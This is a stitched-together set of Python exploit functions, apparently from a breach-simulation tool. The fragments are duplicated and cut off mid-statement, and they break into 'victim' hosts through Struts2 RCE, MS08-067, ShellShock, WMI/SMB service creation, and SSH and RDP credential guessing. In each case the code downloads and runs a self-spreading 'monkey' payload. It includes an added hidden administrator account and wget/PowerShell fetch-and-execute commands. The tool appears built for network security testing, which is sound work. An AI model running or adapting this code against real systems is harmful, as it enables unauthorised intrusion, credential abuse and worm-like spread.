def exploit_windows(self, url, dropper_paths): """ :param url: Where to send malicious request :param dropper_paths: [0]-monkey-windows-32.bat, [1]-monkey-windows-64.bat :return: Bool. Successfully exploited or not """ host_arch = Struts2Exploiter.check_exploit_windows(url) if host_arch: self.host.os['machine'] = host_arch if url and host_arch: LOG.info("Host is exploitable with struts2 RCE vulnerability") # If monkey already exists and option not to exploit in that case is selected if self.skip_exist: for dropper_path in dropper_paths: if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)): LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True src_path = get_target_monkey(self.host) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", self.host) return False # Select the dir and name for monkey on the host if "windows-32" in src_path: dropper_path = dropper_paths[0] else: dropper_path = dropper_paths[1] # create server for http download. http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) if not http_path: LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") return False LOG.info("Started http server on %s", http_path) # We need to double escape backslashes. Once for payload, twice for command cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)) command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), 'http_path': http_path, 'parameters': cmdline} backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), 'http_path': http_path, 'parameters': cmdline, 'type': DROPPER_ARG} resp = self.exploit(url, command) if 'powershell is not recognized' in resp: self.exploit(url, backup_command) http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() LOG.info("Struts2 exploit attempt finished") return True return False
def run_monkey_linux(self, dropper_target_path_linux): """ Runs the monkey """ cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG) cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & ' self.run_shell_command(cmdline) LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, cmdline) if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)): LOG.info("Log file does not exist, monkey might not have run")
def run_monkey_linux(self, dropper_target_path_linux): """ Runs the monkey """ cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG) cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1, location=dropper_target_path_linux) cmdline += ' & ' self.run_shell_command(cmdline) LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, cmdline) if not (self.check_if_remote_file_exists_linux(self._config.dropper_log_path_linux)): LOG.info("Log file does not exist, monkey might not have run")
def exploit_linux(self, url, dropper_path): host_arch = Struts2Exploiter.check_exploit_linux(url) if host_arch: self.host.os['machine'] = host_arch if url and host_arch: LOG.info("Host is exploitable with struts2 RCE vulnerability") # If monkey already exists and option not to exploit in that case is selected if self.skip_exist and self.check_remote_file(url, dropper_path): LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True src_path = get_target_monkey(self.host) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", self.host) return False # create server for http download. http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) if not http_path: LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") return False LOG.info("Started http server on %s", http_path) cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path) command = WGET_HTTP % {'monkey_path': dropper_path, 'http_path': http_path, 'parameters': cmdline} self.exploit(url, command) http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() LOG.info("Struts2 exploit attempt finished") return True return False
def exploit_host(self): src_path = get_target_monkey(self.host) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", self.host) return False creds = self._config.get_exploit_user_password_or_hash_product() for user, password, lm_hash, ntlm_hash in creds: LOG.debug("Attempting to connect %r using WMI with user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')", self.host, user, password, lm_hash, ntlm_hash) wmi_connection = WmiTools.WmiConnection() try: wmi_connection.connect(self.host, user, password, None, lm_hash, ntlm_hash) except AccessDeniedException: self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) LOG.debug("Failed connecting to %r using WMI with " "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')", self.host, user, password, lm_hash, ntlm_hash) continue except DCERPCException: self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) LOG.debug("Failed connecting to %r using WMI with " "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')", self.host, user, password, lm_hash, ntlm_hash) continue except socket.error: LOG.debug("Network error in WMI connection to %r with " "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')", self.host, user, password, lm_hash, ntlm_hash) return False except Exception as exc: LOG.debug("Unknown WMI connection error to %r with " "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s') (%s):\n%s", self.host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc()) return False self.report_login_attempt(True, user, password, lm_hash, ntlm_hash) # query process list and check if monkey already running on victim process_list = WmiTools.list_object(wmi_connection, "Win32_Process", fields=("Caption",), where="Name='%s'" % ntpath.split(src_path)[-1]) if process_list: wmi_connection.close() LOG.debug("Skipping %r - already infected", self.host) return False # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(self.host, src_path, self._config.dropper_target_path_win_32, user, password, lm_hash, ntlm_hash, self._config.smb_download_timeout) if not remote_full_path: wmi_connection.close() return False # execute the remote dropper in case the path isn't final elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32) else: cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1) # execute the remote monkey result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(cmdline, ntpath.split(remote_full_path)[0], None) if (0 != result.ProcessId) and (0 == result.ReturnValue): LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)", remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline) success = True else: LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)", remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline) success = False result.RemRelease() wmi_connection.close() return success return False
def exploit_host(self): src_path = get_target_monkey(self.host) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", self.host) return False creds = self._config.get_exploit_user_password_or_hash_product() exploited = False for user, password, lm_hash, ntlm_hash in creds: try: # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(self.host, src_path, self._config.dropper_target_path, user, password, lm_hash, ntlm_hash, self._config.smb_download_timeout) if remote_full_path is not None: LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)", self.host, user, password, lm_hash, ntlm_hash) self.report_login_attempt(True, user, password, lm_hash, ntlm_hash) exploited = True break else: # failed exploiting with this user/pass self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) except Exception as exc: LOG.debug("Exception when trying to copy file using SMB to %r with user:"******" %s, password: '******', LM hash: %s, NTLM hash: %s: (%s)", self.host, user, password, lm_hash, ntlm_hash, exc) continue if not exploited: LOG.debug("Exploiter SmbExec is giving up...") return False # execute the remote dropper in case the path isn't final if remote_full_path.lower() != self._config.dropper_target_path.lower(): cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path) else: cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1) for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values(): rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,)) rpctransport.set_dport(port) if hasattr(rpctransport, 'preferred_dialect'): rpctransport.preferred_dialect(SMB_DIALECT) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(user, password, '', lm_hash, ntlm_hash, None) rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS) scmr_rpc = rpctransport.get_dce_rpc() try: scmr_rpc.connect() except Exception as exc: LOG.warn("Error connecting to SCM on exploited machine %r: %s", self.host, exc) return False smb_conn = rpctransport.get_smb_connection() break # We don't wanna deal with timeouts from now on. smb_conn.setTimeout(100000) scmr_rpc.bind(scmr.MSRPC_UUID_SCMR) resp = scmr.hROpenSCManagerW(scmr_rpc) sc_handle = resp['lpScHandle'] # start the monkey using the SCM resp = scmr.hRCreateServiceW(scmr_rpc, sc_handle, self._config.smb_service_name, self._config.smb_service_name, lpBinaryPathName=cmdline) service = resp['lpServiceHandle'] try: scmr.hRStartServiceW(scmr_rpc, service) except: pass scmr.hRDeleteService(scmr_rpc, service) scmr.hRCloseServiceHandle(scmr_rpc, service) LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", remote_full_path, self.host, cmdline) return True
def exploit_host(self): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) port = SSH_PORT # if ssh banner found on different port, use that port. for servkey, servdata in self.host.services.items(): if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'): port = int(servkey.replace('tcp-', '')) is_open, _ = check_tcp_port(self.host.ip_addr, port) if not is_open: LOG.info("SSH port is closed on %r, skipping", self.host) return False #Check for possible ssh exploits exploited = self.exploit_with_ssh_keys(port, ssh) if not exploited: exploited = self.exploit_with_login_creds(port, ssh) if not exploited: LOG.debug("Exploiter SSHExploiter is giving up...") return False if not self.host.os.get('type'): try: _, stdout, _ = ssh.exec_command('uname -o') uname_os = stdout.read().lower().strip() if 'linux' in uname_os: self.host.os['type'] = 'linux' else: LOG.info("SSH Skipping unknown os: %s", uname_os) return False except Exception as exc: LOG.debug("Error running uname os commad on victim %r: (%s)", self.host, exc) return False if not self.host.os.get('machine'): try: _, stdout, _ = ssh.exec_command('uname -m') uname_machine = stdout.read().lower().strip() if '' != uname_machine: self.host.os['machine'] = uname_machine except Exception as exc: LOG.debug( "Error running uname machine commad on victim %r: (%s)", self.host, exc) if self.skip_exist: _, stdout, stderr = ssh.exec_command( "head -c 1 %s" % self._config.dropper_target_path_linux) stdout_res = stdout.read().strip() if stdout_res: # file exists LOG.info( "Host %s was already infected under the current configuration, done" % self.host) return True # return already infected src_path = get_target_monkey(self.host) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", self.host) return False try: ftp = ssh.open_sftp() self._update_timestamp = time.time() with monkeyfs.open(src_path) as file_obj: ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path), callback=self.log_transfer) ftp.chmod(self._config.dropper_target_path_linux, 0o777) ftp.close() except Exception as exc: LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc) return False try: cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) cmdline += "&" ssh.exec_command(cmdline) LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, cmdline) ssh.close() return True except Exception as exc: LOG.debug("Error running monkey on victim %r: (%s)", self.host, exc) return False
def exploit_host(self): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) port = SSH_PORT # if ssh banner found on different port, use that port. for servkey, servdata in self.host.services.items(): if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'): port = int(servkey.replace('tcp-', '')) is_open, _ = check_port_tcp(self.host.ip_addr, port) if not is_open: LOG.info("SSH port is closed on %r, skipping", self.host) return False user_password_pairs = self._config.get_exploit_user_password_pairs() exploited = False for user, curpass in user_password_pairs: try: ssh.connect(self.host.ip_addr, username=user, password=curpass, port=port, timeout=None) LOG.debug("Successfully logged in %r using SSH (%s : %s)", self.host, user, curpass) self.report_login_attempt(True, user, curpass) exploited = True break except Exception as exc: LOG.debug("Error logging into victim %r with user" " %s and password '%s': (%s)", self.host, user, curpass, exc) self.report_login_attempt(False, user, curpass) continue if not exploited: LOG.debug("Exploiter SSHExploiter is giving up...") return False if not self.host.os.get('type'): try: _, stdout, _ = ssh.exec_command('uname -o') uname_os = stdout.read().lower().strip() if 'linux' in uname_os: self.host.os['type'] = 'linux' else: LOG.info("SSH Skipping unknown os: %s", uname_os) return False except Exception as exc: LOG.debug("Error running uname os commad on victim %r: (%s)", self.host, exc) return False if not self.host.os.get('machine'): try: _, stdout, _ = ssh.exec_command('uname -m') uname_machine = stdout.read().lower().strip() if '' != uname_machine: self.host.os['machine'] = uname_machine except Exception as exc: LOG.debug("Error running uname machine commad on victim %r: (%s)", self.host, exc) if self.skip_exist: _, stdout, stderr = ssh.exec_command("head -c 1 %s" % self._config.dropper_target_path_linux) stdout_res = stdout.read().strip() if stdout_res: # file exists LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True # return already infected src_path = get_target_monkey(self.host) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", self.host) return False try: ftp = ssh.open_sftp() self._update_timestamp = time.time() with monkeyfs.open(src_path) as file_obj: ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path), callback=self.log_transfer) ftp.chmod(self._config.dropper_target_path_linux, 0o777) ftp.close() except Exception as exc: LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc) return False try: cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) cmdline += "&" ssh.exec_command(cmdline) LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, cmdline) ssh.close() return True except Exception as exc: LOG.debug("Error running monkey on victim %r: (%s)", self.host, exc) return False
class Ms08_067_Exploiter(HostExploiter): _target_os_type = ['windows'] _windows_versions = { 'Windows Server 2003 3790 Service Pack 2': WindowsVersion.Windows2003_SP2, 'Windows Server 2003 R2 3790 Service Pack 2': WindowsVersion.Windows2003_SP2 } def __init__(self): self._config = __import__('config').WormConfiguration self._guid = __import__('config').GUID def is_os_supported(self, host): if host.os.get('type') in self._target_os_type and \ host.os.get('version') in self._windows_versions.keys(): return True if not host.os.get('type') or (host.os.get('type') in self._target_os_type and not host.os.get('version')): is_smb_open, _ = check_port_tcp(host.ip_addr, 445) if is_smb_open: smb_finger = SMBFinger() if smb_finger.get_host_fingerprint(host): return host.os.get('type') in self._target_os_type and \ host.os.get('version') in self._windows_versions.keys() return False def exploit_host(self, host, depth=-1, src_path=None): assert isinstance(host, VictimHost) src_path = src_path or get_target_monkey(host) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", host) return False os_version = self._windows_versions.get(host.os.get('version'), WindowsVersion.Windows2003_SP2) exploited = False for _ in range(self._config.ms08_067_exploit_attempts): exploit = SRVSVC_Exploit(target_addr=host.ip_addr, os_version=os_version) try: sock = exploit.start() sock.send("cmd /c (net user %s %s /add) &&" " (net localgroup administrators %s /add)\r\n" % \ (self._config.ms08_067_remote_user_add, self._config.ms08_067_remote_user_pass, self._config.ms08_067_remote_user_add)) time.sleep(2) reply = sock.recv(1000) LOG.debug("Exploited into %r using MS08-067", host) exploited = True break except Exception, exc: LOG.debug("Error exploiting victim %r: (%s)", host, exc) continue if not exploited: LOG.debug("Exploiter MS08-067 is giving up...") return False # copy the file remotely using SMB remote_full_path = SmbTools.copy_file( host, self._config.ms08_067_remote_user_add, self._config.ms08_067_remote_user_pass, src_path, self._config.dropper_target_path) if not remote_full_path: # try other passwords for administrator for password in self._config.psexec_passwords: remote_full_path = SmbTools.copy_file( host, "Administrator", password, src_path, self._config.dropper_target_path) if remote_full_path: break if not remote_full_path: return False # execute the remote dropper in case the path isn't final if remote_full_path.lower() != self._config.dropper_target_path.lower( ): cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path} else: cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path} cmdline += build_monkey_commandline(host, depth - 1) try: sock.send("start %s\r\n" % (cmdline, )) sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add, )) except Exception, exc: LOG.debug( "Error in post-debug phase while exploiting victim %r: (%s)", host, exc) return False
def exploit_host(self): # start by picking ports candidate_services = { service: self.host.services[service] for service in self.host.services if ('name' in self.host.services[service]) and (self.host.services[service]['name'] == 'http') } valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in self.HTTP if 'tcp-' + str(port) in candidate_services] http_ports = [port[0] for port in valid_ports if not port[1]] https_ports = [port[0] for port in valid_ports if port[1]] LOG.info( 'Scanning %s, ports [%s] for vulnerable CGI pages' % ( self.host, ",".join([str(port[0]) for port in valid_ports])) ) attackable_urls = [] # now for each port we want to check the entire URL list for port in http_ports: urls = self.check_urls(self.host.ip_addr, port) attackable_urls.extend(urls) for port in https_ports: urls = self.check_urls(self.host.ip_addr, port, is_https=True) attackable_urls.extend(urls) # now for each URl we want to try and see if it's attackable exploitable_urls = [self.attempt_exploit(url) for url in attackable_urls] exploitable_urls = [url for url in exploitable_urls if url[0] is True] # we want to report all vulnerable URLs even if we didn't succeed self._exploit_info['vulnerable_urls'] = [url[1] for url in exploitable_urls] # now try URLs until we install something on victim for _, url, header, exploit in exploitable_urls: LOG.info("Trying to attack host %s with %s URL" % (self.host, url)) # same attack script as sshexec # for any failure, quit and don't try other URLs if not self.host.os.get('type'): try: uname_os_attack = exploit + '/bin/uname -o' uname_os = self.attack_page(url, header, uname_os_attack) if 'linux' in uname_os: self.host.os['type'] = 'linux' else: LOG.info("SSH Skipping unknown os: %s", uname_os) return False except Exception as exc: LOG.debug("Error running uname os commad on victim %r: (%s)", self.host, exc) return False if not self.host.os.get('machine'): try: uname_machine_attack = exploit + '/bin/uname -m' uname_machine = self.attack_page(url, header, uname_machine_attack) if '' != uname_machine: self.host.os['machine'] = uname_machine.lower().strip() except Exception as exc: LOG.debug("Error running uname machine commad on victim %r: (%s)", self.host, exc) return False # copy the monkey dropper_target_path_linux = self._config.dropper_target_path_linux if self.skip_exist and (self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)): LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True # return already infected src_path = get_target_monkey(self.host) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", self.host) return False http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) if not http_path: LOG.debug("Exploiter ShellShock failed, http transfer creation failed.") return False download_command = '/usr/bin/wget %s -O %s;' % ( http_path, dropper_target_path_linux) download = exploit + download_command self.attack_page(url, header, download) # we ignore failures here since it might take more than TIMEOUT time http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() if (http_thread.downloads != 1) or ( 'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)): LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) continue # turn the monkey into an executable chmod = '/bin/chmod +x %s' % dropper_target_path_linux run_path = exploit + chmod self.attack_page(url, header, run_path) # run the monkey cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG) cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & ' run_path = exploit + cmdline self.attack_page(url, header, run_path) LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, cmdline) if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)): LOG.info("Log file does not exist, monkey might not have run") continue return True return False
def exploit_host(self): global g_reactor is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT) if not is_open: LOG.info("RDP port is closed on %r, skipping", self.host) return False src_path = get_target_monkey(self.host) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", self.host) return False # create server for http download. http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) if not http_path: LOG.debug( "Exploiter RdpGrinder failed, http transfer creation failed.") return False LOG.info("Started http server on %s", http_path) cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1) if self._config.rdp_use_vbs_download: command = RDP_CMDLINE_HTTP_VBS % { 'monkey_path': self._config.dropper_target_path_win_32, 'http_path': http_path, 'parameters': cmdline } else: command = RDP_CMDLINE_HTTP_BITS % { 'monkey_path': self._config.dropper_target_path_win_32, 'http_path': http_path, 'parameters': cmdline } user_password_pairs = self._config.get_exploit_user_password_pairs() if not g_reactor.is_alive(): g_reactor.daemon = True g_reactor.start() exploited = False for user, password in user_password_pairs: try: # run command using rdp. LOG.info( "Trying RDP logging into victim %r with user %s and password '%s'", self.host, user, password) LOG.info("RDP connected to %r", self.host) client_factory = CMDClientFactory(user, password, "", command) reactor.callFromThread(reactor.connectTCP, self.host.ip_addr, RDP_PORT, client_factory) client_factory.done_event.wait() if client_factory.success: exploited = True self.report_login_attempt(True, user, password) break else: # failed exploiting with this user/pass self.report_login_attempt(False, user, password) except Exception as exc: LOG.debug( "Error logging into victim %r with user" " %s and password '%s': (%s)", self.host, user, password, exc) continue http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() if not exploited: LOG.debug("Exploiter RdpGrinder failed, rdp failed.") return False elif http_thread.downloads == 0: LOG.debug("Exploiter RdpGrinder failed, http download failed.") return False LOG.info("Executed monkey '%s' on remote victim %r", os.path.basename(src_path), self.host) return True
def exploit_host(self): global g_reactor is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT) if not is_open: LOG.info("RDP port is closed on %r, skipping", self.host) return False src_path = get_target_monkey(self.host) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", self.host) return False # create server for http download. http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) if not http_path: LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.") return False LOG.info("Started http server on %s", http_path) cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1) if self._config.rdp_use_vbs_download: command = RDP_CMDLINE_HTTP_VBS % { 'monkey_path': self._config.dropper_target_path_win_32, 'http_path': http_path, 'parameters': cmdline} else: command = RDP_CMDLINE_HTTP_BITS % { 'monkey_path': self._config.dropper_target_path_win_32, 'http_path': http_path, 'parameters': cmdline} user_password_pairs = self._config.get_exploit_user_password_pairs() if not g_reactor.is_alive(): g_reactor.daemon = True g_reactor.start() exploited = False for user, password in user_password_pairs: try: # run command using rdp. LOG.info("Trying RDP logging into victim %r with user %s and password '%s'", self.host, user, password) LOG.info("RDP connected to %r", self.host) client_factory = CMDClientFactory(user, password, "", command) reactor.callFromThread(reactor.connectTCP, self.host.ip_addr, RDP_PORT, client_factory) client_factory.done_event.wait() if client_factory.success: exploited = True self.report_login_attempt(True, user, password) break else: # failed exploiting with this user/pass self.report_login_attempt(False, user, password) except Exception as exc: LOG.debug("Error logging into victim %r with user" " %s and password '%s': (%s)", self.host, user, password, exc) continue http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() if not exploited: LOG.debug("Exploiter RdpGrinder failed, rdp failed.") return False elif http_thread.downloads == 0: LOG.debug("Exploiter RdpGrinder failed, http download failed.") return False LOG.info("Executed monkey '%s' on remote victim %r", os.path.basename(src_path), self.host) return True
remote_full_path = SmbTools.copy_file( host, self._config.psexec_user, password, src_path, self._config.dropper_target_path, self._config.smb_download_timeout) if not remote_full_path: wmi_connection.close() return False # execute the remote dropper in case the path isn't final elif remote_full_path.lower( ) != self._config.dropper_target_path.lower(): cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path} else: cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path} cmdline += build_monkey_commandline(host, depth - 1) # execute the remote monkey result = WmiTools.get_object(wmi_connection, "Win32_Process").Create( cmdline, ntpath.split(remote_full_path)[0], None) if (0 != result.ProcessId) and (0 == result.ReturnValue): LOG.info( "Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)", remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline) success = True else:
def exploit_host(self): src_path = get_target_monkey(self.host) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", self.host) return False os_version = self._windows_versions.get(self.host.os.get('version'), WindowsVersion.Windows2003_SP2) exploited = False for _ in range(self._config.ms08_067_exploit_attempts): exploit = SRVSVC_Exploit(target_addr=self.host.ip_addr, os_version=os_version) try: sock = exploit.start() sock.send("cmd /c (net user %s %s /add) &&" " (net localgroup administrators %s /add)\r\n" % (self._config.ms08_067_remote_user_add, self._config.ms08_067_remote_user_pass, self._config.ms08_067_remote_user_add)) time.sleep(2) reply = sock.recv(1000) LOG.debug("Exploited into %r using MS08-067", self.host) exploited = True break except Exception as exc: LOG.debug("Error exploiting victim %r: (%s)", self.host, exc) continue if not exploited: LOG.debug("Exploiter MS08-067 is giving up...") return False # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(self.host, src_path, self._config.dropper_target_path, self._config.ms08_067_remote_user_add, self._config.ms08_067_remote_user_pass) if not remote_full_path: # try other passwords for administrator for password in self._config.exploit_password_list: remote_full_path = SmbTools.copy_file(self.host, src_path, self._config.dropper_target_path, "Administrator", password) if remote_full_path: break if not remote_full_path: return False # execute the remote dropper in case the path isn't final if remote_full_path.lower() != self._config.dropper_target_path.lower(): cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path) else: cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1) try: sock.send("start %s\r\n" % (cmdline,)) sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add,)) except Exception as exc: LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc) return False finally: try: sock.close() except socket.error: pass LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", remote_full_path, self.host, cmdline) return True
class SmbExploiter(HostExploiter): _target_os_type = ['windows'] KNOWN_PROTOCOLS = { '139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139), '445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445), } USE_KERBEROS = False def __init__(self): self._config = __import__('config').WormConfiguration self._guid = __import__('config').GUID def is_os_supported(self, host): if host.os.get('type') in self._target_os_type: return True if not host.os.get('type'): is_smb_open, _ = check_port_tcp(host.ip_addr, 445) if is_smb_open: smb_finger = SMBFinger() smb_finger.get_host_fingerprint(host) else: is_nb_open, _ = check_port_tcp(host.ip_addr, 139) if is_nb_open: host.os['type'] = 'windows' return host.os.get('type') in self._target_os_type return False def exploit_host(self, host, depth=-1, src_path=None): assert isinstance(host, VictimHost) src_path = src_path or get_target_monkey(host) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", host) return False passwords = list(self._config.psexec_passwords[:]) known_password = host.get_credentials(self._config.psexec_user) if known_password is not None: if known_password in passwords: passwords.remove(known_password) passwords.insert(0, known_password) exploited = False for password in passwords: try: # copy the file remotely using SMB remote_full_path = SmbTools.copy_file( host, self._config.psexec_user, password, src_path, self._config.dropper_target_path, self._config.smb_download_timeout) if remote_full_path is not None: LOG.debug("Successfully logged in %r using SMB (%s : %s)", host, self._config.psexec_user, password) host.learn_credentials(self._config.psexec_user, password) exploited = True break else: # failed exploiting with this user/pass report_failed_login(self, host, self._config.psexec_user, password) except Exception, exc: LOG.debug( "Exception when trying to copy file using SMB to %r with user" " %s and password '%s': (%s)", host, self._config.psexec_user, password, exc) continue if not exploited: LOG.debug("Exploiter SmbExec is giving up...") return False # execute the remote dropper in case the path isn't final if remote_full_path.lower() != self._config.dropper_target_path.lower( ): cmdline = DROPPER_CMDLINE_DETACHED % { 'dropper_path': remote_full_path } else: cmdline = MONKEY_CMDLINE_DETACHED % { 'monkey_path': remote_full_path } cmdline += build_monkey_commandline(host, depth - 1) for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values(): rpctransport = transport.DCERPCTransportFactory(str_bind_format % (host.ip_addr, )) rpctransport.set_dport(port) if hasattr(rpctransport, 'preferred_dialect'): rpctransport.preferred_dialect(SMB_DIALECT) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self._config.psexec_user, password, host.ip_addr, "", "", None) rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS) scmr_rpc = rpctransport.get_dce_rpc() try: scmr_rpc.connect() except Exception, exc: LOG.warn("Error connecting to SCM on exploited machine %r: %s", host, exc) return False smb_conn = rpctransport.get_smb_connection() break
class ShellShockExploiter(HostExploiter): _target_os_type = ['linux'] _attacks = {"Content-type": "() { :;}; echo; "} def __init__(self): self._config = __import__('config').WormConfiguration self.HTTP = [str(port) for port in self._config.HTTP_PORTS] self.success_flag = ''.join( choice(string.ascii_uppercase + string.digits) for _ in range(20)) self.skip_exist = self._config.skip_exploit_if_file_exist def exploit_host(self, host, depth=-1, src_path=None): assert isinstance(host, VictimHost) # start by picking ports candidate_services = { service: host.services[service] for service in host.services if host.services[service]['name'] == 'http' } valid_ports = [ (port, candidate_services['tcp-' + str(port)]['data'][1]) for port in self.HTTP if 'tcp-' + str(port) in candidate_services ] http_ports = [port[0] for port in valid_ports if not port[1]] https_ports = [port[0] for port in valid_ports if port[1]] LOG.info('Scanning %s, ports [%s] for vulnerable CGI pages' % (host, ",".join([str(port[0]) for port in valid_ports]))) attackable_urls = [] # now for each port we want to check the entire URL list for port in http_ports: urls = self.check_urls(host.ip_addr, port) attackable_urls.extend(urls) for port in https_ports: urls = self.check_urls(host.ip_addr, port, is_https=True) attackable_urls.extend(urls) # now for each URl we want to try and see if it's attackable exploitable_urls = [ self.attempt_exploit(url) for url in attackable_urls ] exploitable_urls = [url for url in exploitable_urls if url[0] is True] # we want to report all vulnerable URLs even if we didn't succeed # let's overload this [self.report_vuln_shellshock(host, url) for url in exploitable_urls] # now try URLs until we install something on victim for _, url, header, exploit in 